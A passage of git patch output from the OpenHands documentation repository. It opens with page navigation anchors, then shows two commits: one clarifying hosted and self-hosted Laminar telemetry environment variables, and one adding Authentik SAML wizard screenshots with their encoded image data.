Validation](/enterprise/vm-install/generic-vm#preflight-validation) - -<a id="dns-checks"></a> - -[DNS checks](/enterprise/vm-install/generic-vm#dns-checks) - -<a id="outbound-connectivity-checks"></a> - -[Outbound connectivity checks](/enterprise/vm-install/generic-vm#outbound-connectivity-checks) - -<a id="reasons-for-requirements"></a> - -[Reasons for Requirements](/enterprise/vm-install/generic-vm#reasons-for-requirements) - -<a id="run-the-installer"></a> - -[Run the Installer](/enterprise/vm-install/generic-vm#run-the-installer) - -<a id="1-access-the-installer-dashboard"></a> - -[1. Access the Installer Dashboard](/enterprise/vm-install/generic-vm#1-access-the-installer-dashboard) - -<a id="2-name-your-instance"></a> - -[2. Name your instance](/enterprise/vm-install/generic-vm#2-name-your-instance) - -<a id="3-run-the-installation-commands"></a> - -[3. Run the installation commands](/enterprise/vm-install/generic-vm#3-run-the-installation-commands) - -<a id="4-access-the-admin-console"></a> - -[4. Access the Admin Console](/enterprise/vm-install/generic-vm#4-access-the-admin-console) - -<a id="5-upload-tls-certificate-if-not-provided-with-the-install-command"></a> - -[5. Upload TLS certificate (if not provided with the install command)](/enterprise/vm-install/generic-vm#5-upload-tls-certificate-if-not-provided-with-the-install-command) - -<a id="6-log-in-to-the-admin-console"></a> - -[6. Log in to the Admin Console](/enterprise/vm-install/generic-vm#6-log-in-to-the-admin-console) - -<a id="7-configure-the-cluster"></a> - -[7. Configure the cluster](/enterprise/vm-install/generic-vm#7-configure-the-cluster) - -<a id="configure-openhands"></a> - -[Configure OpenHands](/enterprise/vm-install/generic-vm#configure-openhands) - -<a id="domain-configuration"></a> - -[Domain Configuration](/enterprise/vm-install/generic-vm#domain-configuration) - -<a id="certificate-configuration"></a> - -[Certificate Configuration](/enterprise/vm-install/generic-vm#certificate-configuration) - -<a id="llm-configuration"></a> - -[LLM Configuration](/enterprise/vm-install/generic-vm#llm-configuration) - -<a id="database-configuration"></a> - -[Database Configuration](/enterprise/vm-install/generic-vm#database-configuration) - -<a id="github-authentication"></a> - -[GitHub Authentication](/enterprise/vm-install/generic-vm#github-authentication) - -<a id="create-a-github-app"></a> - -[Create a GitHub App](/enterprise/vm-install/generic-vm#create-a-github-app) - -<a id="map-github-app-values-to-admin-console"></a> - -[Map GitHub App values to Admin Console](/enterprise/vm-install/generic-vm#map-github-app-values-to-admin-console) - -<a id="additional-integrations"></a> - -[Additional Integrations](/enterprise/vm-install/generic-vm#additional-integrations) - -<a id="deploy-and-verify"></a> - -[Deploy and Verify](/enterprise/vm-install/generic-vm#deploy-and-verify) - -<a id="first-login"></a> - -[First Login](/enterprise/vm-install/generic-vm#first-login) - -<a id="next-steps"></a> - -[Next Steps](/enterprise/vm-install/generic-vm#next-steps) - -<a id="dns-and-tls-setup"></a> - -[DNS and TLS Setup](/enterprise/vm-install/generic-vm#dns-and-tls-setup) From 3e533cdf1ec91fdbff33b1d8cfd548149b0f8bd0 Mon Sep 17 00:00:00 2001 From: Rohit Malhotra <rohitvinodmalhotra@gmail.com> Date: Fri, 16 Oct 2026 11:19:50 -0700 Subject: [PATCH 78/97] Document hosted Laminar telemetry setup (#952) * Document hosted Laminar telemetry setup Co-authored-by: openhands <openhands@all-hands.dev> * Keep Laminar telemetry setup focused Co-authored-by: openhands <openhands@all-hands.dev> * Remove redundant hosted Laminar caveat Co-authored-by: openhands <openhands@all-hands.dev> * Expand self-hosted Laminar setup details Co-authored-by: openhands <openhands@all-hands.dev> --------- Co-authored-by: openhands <openhands@all-hands.dev> --- sdk/guides/observability.mdx | 34 ++++++++++++++++++++++++---------- 1 file changed, 24 insertions(+), 10 deletions(-) diff --git a/sdk/guides/observability.mdx b/sdk/guides/observability.mdx index 196228180..33378b2a5 100644 --- a/sdk/guides/observability.mdx +++ b/sdk/guides/observability.mdx @@ -25,16 +25,19 @@ The SDK automatically traces: Tracing is automatically enabled when you set the appropriate environment variables. The SDK detects the configuration on startup and initializes tracing without requiring code changes. -### Using Laminar +### Using hosted Laminar [Laminar](https://laminar.sh/) provides specialized AI observability features for OpenHands, including full conversation traces, browser session replay, and higher-level analysis features like signals. +Hosted Laminar only needs your Laminar project API key in the environment where your application runs: + ```bash icon="terminal" wrap -# Set your Laminar project API key -export LMNR_PROJECT_API_KEY="your-laminar-api-key" +export LMNR_PROJECT_API_KEY="your-laminar-project-api-key" ``` -That's it. Run your agent code normally and traces will be sent to Laminar automatically. +| Variable | Required? | Description | +|----------|-----------|-------------| +| `LMNR_PROJECT_API_KEY` | Yes | Laminar project API key. The SDK detects this variable and initializes Laminar telemetry automatically. | <Note> For Laminar-specific walkthroughs, see the official docs for [OpenHands SDK tracing](https://laminar.sh/docs/tracing/integrations/openhands-sdk), [session replay for browser agents](https://laminar.sh/docs/tracing/browser-agent-observability), [viewing traces](https://laminar.sh/docs/platform/viewing-traces), and [signals](https://laminar.sh/docs/signals/introduction). @@ -174,8 +177,8 @@ The SDK checks for these environment variables (in order of precedence): | Variable | Description | Example | |----------|-------------|---------| -| `LMNR_PROJECT_API_KEY` | Laminar project API key | `your-laminar-api-key` | -| `LMNR_BASE_URL` | Base URL for self-hosted Laminar | `http://localhost` | +| `LMNR_PROJECT_API_KEY` | Laminar project API key; required for hosted Laminar | `your-laminar-project-api-key` | +| `LMNR_BASE_URL` | Base URL override for self-hosted Laminar; leave unset for hosted Laminar | `http://localhost` | | `LMNR_HTTP_PORT` | HTTP port for self-hosted Laminar | `8000` | | `LMNR_GRPC_PORT` | gRPC port for self-hosted Laminar | `8001` | | `OTEL_EXPORTER_OTLP_TRACES_ENDPOINT` | Full OTLP traces endpoint URL | `https://api.honeycomb.io:443/v1/traces` | @@ -209,15 +212,17 @@ The SDK supports both HTTP and gRPC protocols: ### Laminar Setup +For hosted Laminar: + 1. Sign up at [laminar.sh](https://laminar.sh/) -2. Create a project and copy your API key -3. Set the environment variable: +2. Create a project and copy your project API key +3. Set `LMNR_PROJECT_API_KEY` in the same shell, CI job, or deployment environment that runs your application ```bash icon="terminal" wrap -export LMNR_PROJECT_API_KEY="your-laminar-api-key" +export LMNR_PROJECT_API_KEY="your-laminar-project-api-key" ``` -**Self-hosted Laminar**: If you are running a self-hosted Laminar instance, configure its base URL and the HTTP and gRPC ports via environment variables: +**Self-hosted Laminar**: If you are running a self-hosted Laminar instance, configure the client to use your Laminar deployment instead of Laminar Cloud: ```bash icon="terminal" wrap export LMNR_PROJECT_API_KEY="your-laminar-api-key" @@ -226,6 +231,15 @@ export LMNR_HTTP_PORT=8000 export LMNR_GRPC_PORT=8001 ``` +Use the values exposed by your Laminar deployment: + +| Variable | Description | +|----------|-------------| +| `LMNR_PROJECT_API_KEY` | Project API key from your self-hosted Laminar project. | +| `LMNR_BASE_URL` | Scheme and host for your Laminar instance, such as `http://localhost` or `https://analytics.example.com`. | +| `LMNR_HTTP_PORT` | HTTP port for Laminar's app/API endpoint. Use the externally reachable port if Laminar is behind a proxy or load balancer. | +| `LMNR_GRPC_PORT` | gRPC port for Laminar's trace ingest endpoint. Use the externally reachable port if Laminar is behind a proxy or load balancer. | + **Browser session replay**: When using Laminar with browser-use tools, session replays are automatically captured, allowing you to see exactly what the browser automation did. ### OpenHands Enterprise Setup From bc442c6bc18826f2fe70cb357690ff89b02edea3 Mon Sep 17 00:00:00 2001 From: "John-Mason P. Shackelford" <jpshack@gmail.com> Date: Fri, 16 Oct 2026 14:25:30 -0400 Subject: [PATCH 79/97] docs(enterprise): add collapsible Authentik wizard screenshots (stacked on #800) (#802) * docs(enterprise): add collapsible Authentik wizard screenshots Add scaled (800px, constrained to 600px display) screenshots of each Authentik wizard step, wrapped in collapsible Accordion components so they do not clutter the page. Covers Application, provider type, protocol settings, certificate and mappings, signing toggles, binding/NameID, bindings, and review steps. Co-authored-by: openhands <openhands@all-hands.dev> * docs: replace Authentik certificate mappings screenshot Co-authored-by: openhands <openhands@all-hands.dev> * docs: resize Authentik certificate screenshot to match wizard images Co-authored-by: openhands <openhands@all-hands.dev> --------- Co-authored-by: openhands <openhands@all-hands.dev> --- .../integrations/saml-providers/authentik.mdx | 83 ++++++++++++++++++ .../images/authentik-01-application.png | Bin 0 -> 92887 bytes .../images/authentik-02-provider-type.png | Bin 0 -> 121465 bytes .../images/authentik-03-protocol-settings.png | Bin 0 -> 91582 bytes .../images/authentik-04-cert-mappings.png | Bin 0 -> 123894 bytes .../images/authentik-05-signing-toggles.png | Bin 0 -> 102161 bytes .../images/authentik-06-binding-nameid.png | Bin 0 -> 93314 bytes .../images/authentik-07-bindings.png | Bin 0 -> 72595 bytes .../images/authentik-08-review.png | Bin 0 -> 79935 bytes 9 files changed, 83 insertions(+) create mode 100644 enterprise/integrations/saml-providers/images/authentik-01-application.png create mode 100644 enterprise/integrations/saml-providers/images/authentik-02-provider-type.png create mode 100644 enterprise/integrations/saml-providers/images/authentik-03-protocol-settings.png create mode 100644 enterprise/integrations/saml-providers/images/authentik-04-cert-mappings.png create mode 100644 enterprise/integrations/saml-providers/images/authentik-05-signing-toggles.png create mode 100644 enterprise/integrations/saml-providers/images/authentik-06-binding-nameid.png create mode 100644 enterprise/integrations/saml-providers/images/authentik-07-bindings.png create mode 100644 enterprise/integrations/saml-providers/images/authentik-08-review.png diff --git a/enterprise/integrations/saml-providers/authentik.mdx b/enterprise/integrations/saml-providers/authentik.mdx index cf53b4833..d4f472514 100644 --- a/enterprise/integrations/saml-providers/authentik.mdx +++ b/enterprise/integrations/saml-providers/authentik.mdx @@ -79,6 +79,16 @@ OpenHands sign-in page. Choose **Next**. +<Accordion title="Screenshot: Application step"> + <Frame> + <img + src="/enterprise/integrations/saml-providers/images/authentik-01-application.png" + alt="Authentik New application wizard, Application step" + style={{maxWidth: '600px'}} + /> + </Frame> +</Accordion> + ## Step 2: Choose a Provider Type Select **SAML Provider**, then choose **Next**. @@ -89,6 +99,16 @@ Select **SAML Provider**, then choose **Next**. what you want here. </Note> +<Accordion title="Screenshot: Choose a Provider Type step"> + <Frame> + <img + src="/enterprise/integrations/saml-providers/images/authentik-02-provider-type.png" + alt="Authentik wizard, Choose a Provider Type step with SAML Provider selected" + style={{maxWidth: '600px'}} + /> + </Frame> +</Accordion> + ## Step 3: Configure the SAML Provider Fill in the provider details: @@ -107,6 +127,16 @@ Fill in the provider details: your Authentication hostname. </Note> +<Accordion title="Screenshot: Protocol settings"> + <Frame> + <img + src="/enterprise/integrations/saml-providers/images/authentik-03-protocol-settings.png" + alt="Authentik Configure SAML Provider, Protocol settings with ACS URL and Audience" + style={{maxWidth: '600px'}} + /> + </Frame> +</Accordion> + Expand **Advanced protocol settings** and configure: | Field | Value | @@ -126,6 +156,16 @@ Expand **Advanced protocol settings** and configure: Authentik integration. </Warning> +<Accordion title="Screenshot: Certificates and property mappings"> + <Frame> + <img + src="/enterprise/integrations/saml-providers/images/authentik-04-cert-mappings.png" + alt="Authentik Advanced protocol settings, signing certificate and property mappings" + style={{maxWidth: '600px'}} + /> + </Frame> +</Accordion> + Selecting a signing certificate reveals four signing toggles. Leave them at their defaults: @@ -143,6 +183,16 @@ their defaults: responses**; leave the other toggles off. </Note> +<Accordion title="Screenshot: Signing toggles"> + <Frame> + <img + src="/enterprise/integrations/saml-providers/images/authentik-05-signing-toggles.png" + alt="Authentik signing toggles with Sign assertions enabled by default" + style={{maxWidth: '600px'}} + /> + </Frame> +</Accordion> + <Note> OpenHands provisions accounts from the SAML assertion and requires an email address. The default property mappings already include @@ -150,6 +200,19 @@ their defaults: you have customized it. </Note> +The remaining provider options include the Service Provider Binding, Default +NameID Policy, and digest and signature algorithms shown below. + +<Accordion title="Screenshot: Binding, NameID policy, and algorithms"> + <Frame> + <img + src="/enterprise/integrations/saml-providers/images/authentik-06-binding-nameid.png" + alt="Authentik Service Provider Binding set to Post and Default NameID Policy set to Persistent" + style={{maxWidth: '600px'}} + /> + </Frame> +</Accordion> + Choose **Next**. ## Step 4: Configure Bindings (Optional) @@ -161,10 +224,30 @@ policy/group/user** and bind the group(s) that should have access. Choose **Next**. +<Accordion title="Screenshot: Configure Bindings step"> + <Frame> + <img + src="/enterprise/integrations/saml-providers/images/authentik-07-bindings.png" + alt="Authentik Configure Bindings step with no bound policies" + style={{maxWidth: '600px'}} + /> + </Frame> +</Accordion> + ## Step 5: Review and Submit Review the application and provider details, then choose **Create Application**. +<Accordion title="Screenshot: Review and Submit step"> + <Frame> + <img + src="/enterprise/integrations/saml-providers/images/authentik-08-review.png" + alt="Authentik Review and Submit step showing application and provider details" + style={{maxWidth: '600px'}} + /> + </Frame> +</Accordion> + ## Create a Test User SSO authenticates against Authentik, so you need at least one Authentik user diff --git a/enterprise/integrations/saml-providers/images/authentik-01-application.png b/enterprise/integrations/saml-providers/images/authentik-01-application.png new file mode 100644 index 0000000000000000000000000000000000000000..17c3cd4febc7e9332bd9072b7ef32d7629e1ea29 GIT binary patch literal 92887 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 